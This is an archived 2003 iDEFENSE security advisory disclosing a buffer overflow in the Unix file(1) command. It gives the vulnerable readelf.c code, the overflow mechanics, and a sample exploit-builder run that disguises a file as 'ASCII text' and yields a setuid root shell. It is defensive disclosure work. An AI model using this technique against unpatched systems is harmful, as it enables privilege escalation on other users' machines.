iDEFENSE Security Advisory 03.04.03: Locally Exploitable Buffer Overflow in file(1)

From: iDEFENSE Labs (labsat_private)
Date: Tue Mar 04 2003 - 10:57:23 PST

  • Next message: Eric Allman: "Re: [LSD] Technical analysis of the remote sendmail vulnerability"

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1
    
    iDEFENSE Security Advisory 03.04.03:
    http://www.idefense.com/advisory/03.04.03.txt
    Locally Exploitable Buffer Overflow in file(1)
    March 4, 2003
    
    I. BACKGROUND
    
    file(1) is an application that utilizes a magic file (typically located in
    /usr/share/magic) to classify arbitrary files. The latest version of
    file(1) is available for download from: ftp://ftp.astron.com/pub/file . 
    For example:
    
        $ file
        Usage: file [-bcnvzL] [-f namefile] [-m magicfiles] file...
        
        $ file unknown_file
        unknown_file: ASCII text
    
    
    II. DESCRIPTION
    
    The file(1) command contains a buffer overflow vulnerability that can be
    leveraged by an attacker to execute arbitrary code under the privileges of
    another user.
    
    The crux of the problem lies in the following call to doshn() from
    tryelf() on line 587 in readelf.c:
    
        doshn(class, swap,
            fd,
            getu32(swap, elfhdr.e_shoff),
            getu16(swap, elfhdr.e_shnum),
            getu16(swap, elfhdr.e_shentsize));
    
    The final argument to doshn() 'elfhdr.e_shentsize' is later used in a call
    to read() as can be see here on line 133 in readelf.c:
    
        if (read(fd, sh_addr, size) == -1)
    
    The call to read() will copy 'size' bytes into the variable 'sh_addr'
    which is defined on line 92 in readelf.c:
    
        #define sh_addr (class == ELFCLASS32 \
                         ? (void *) &sh32 \
                         : (void *) &sh64)
    
    The storage buffer used in the call to read() is of size 0x20 (32) bytes,
    by supplying a 'size' of 0x28 (40) a stack overflow occurs overwriting the
    stored frame pointer (EBP) and instruction pointer (EIP) thereby providing
    the attacker with CPU control and the ability to execute arbitrary code.
    
    III. ANALYSIS
    
    A user who can successfully convince another user to examine a specially
    constructed exploit file with the file(1) command can execute arbitrary
    code under the privileges of that user.
    
    The following is a sample walkthrough of a successful exploitation. The
    attacker must initially generate a file that is specially structured to
    trigger a buffer overflow in the file(1) command:
    
        $ ./mkfile_expl -C /tmp/suid -F /tmp/exploit -O "ASCII text" -R
    /bin/bash -p 1
    
        Local /usr/bin/file upto v3.39 exploit by anonymous
        
        Using PRESET: 1 [Linux file <= 3.38 ]
        
        Using FILENAME: /tmp/exploit
        Using REAL_SHELL: /bin/bash
        Using CREATED_SHELL: /tmp/suid
        Using OUTPUT: ASCII text
        
        Using RET_ADDR: 0xbfffc3f0
        Using NOP_COUNT: 6000
        
        Exploit created -> /tmp/exploit
        Time to wait till somebody starts /usr/bin/file /tmp/exploit
    
    Once the tainted file has been generated the attacker must wait for or
    coerce another user to examine the file with the file(1) command.
    
        # ls -l exploit
        -rwxr-xr-x 1 farmer farmer 6406 Jan 11 22:07 exploit
        
        # file exploit
        /tmp/exploit: ASCII text
    
    The file(1) command reports that the examined file is "ASCII text" as the
    attacker specified in the creation of the exploit file. At this point if
    the attack was a success the original attack file (exploit) has been
    erased and a set user id shell has been created:
    
        # ls -l exploit
        ls: exploit: No such file or directory
        
        $ ls -l suid
        -rwsr-sr-x 1 root root 541096 Jan 11 22:07 suid
    
    IV. DETECTION
    
    iDEFENSE has successfully exploited file(1) versions 3.37 and 3.39. It is
    suspected that all versions up to and including 3.39 are vulnerable.
    
    V. VENDOR FIX/RESPONSE
    
    The latest version of file(1) fixes this issue and is available from
    ftp://ftp.astron.com/pub/file/file-3.41.tar.gz .  Specific vendors will be
    shipping updated packages in the near future.
    
    VI. CVE INFORMATION
    
    The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project has
    assigned the identification number CAN-2003-0102 to this issue.
    
    VII. DISCLOSURE TIMELINE
    
    12/16/2002      Issue disclosed to iDEFENSE
    02/24/2003      Maintainers notified: mail_contactat_private
    02/24/2003      Response from Ian Darwin, ianat_private
    02/25/2003      Response received from christosat_private
    02/25/2003      iDEFENSE clients notified
    02/27/2003      OS vendors notified via vendor-secat_private
    03/04/2003      Public Disclosure
    
    VIII. CREDIT
    
    An anonymous researcher discovered this vulnerability.
    
    
    Get paid for security research
    http://www.idefense.com/contributor.html
    
    Subscribe to iDEFENSE Advisories:
    send email to listservat_private, subject line: "subscribe"
    
    
    About iDEFENSE:
    
    iDEFENSE is a global security intelligence company that proactively
    monitors sources throughout the world — from technical
    vulnerabilities and hacker profiling to the global spread of viruses
    and other malicious code. Our security intelligence services provide 
    decision-makers, frontline security professionals and network 
    administrators with timely access to actionable intelligence
    and decision support on cyber-related threats. For more information,
    visit http://www.idefense.com .
    
    -----BEGIN PGP SIGNATURE-----
    Version: PGP 8.0
    
    iQA/AwUBPmT0jPrkky7kqW5PEQL9uwCgy357oodXdMcC++NBfuqTTzqSWw8AnRj+
    2X0UHCShrduL6w6UYBUUuR8/
    =599A
    -----END PGP SIGNATURE-----
    



    This archive was generated by hypermail 2b30 : Tue Mar 04 2003 - 12:29:08 PST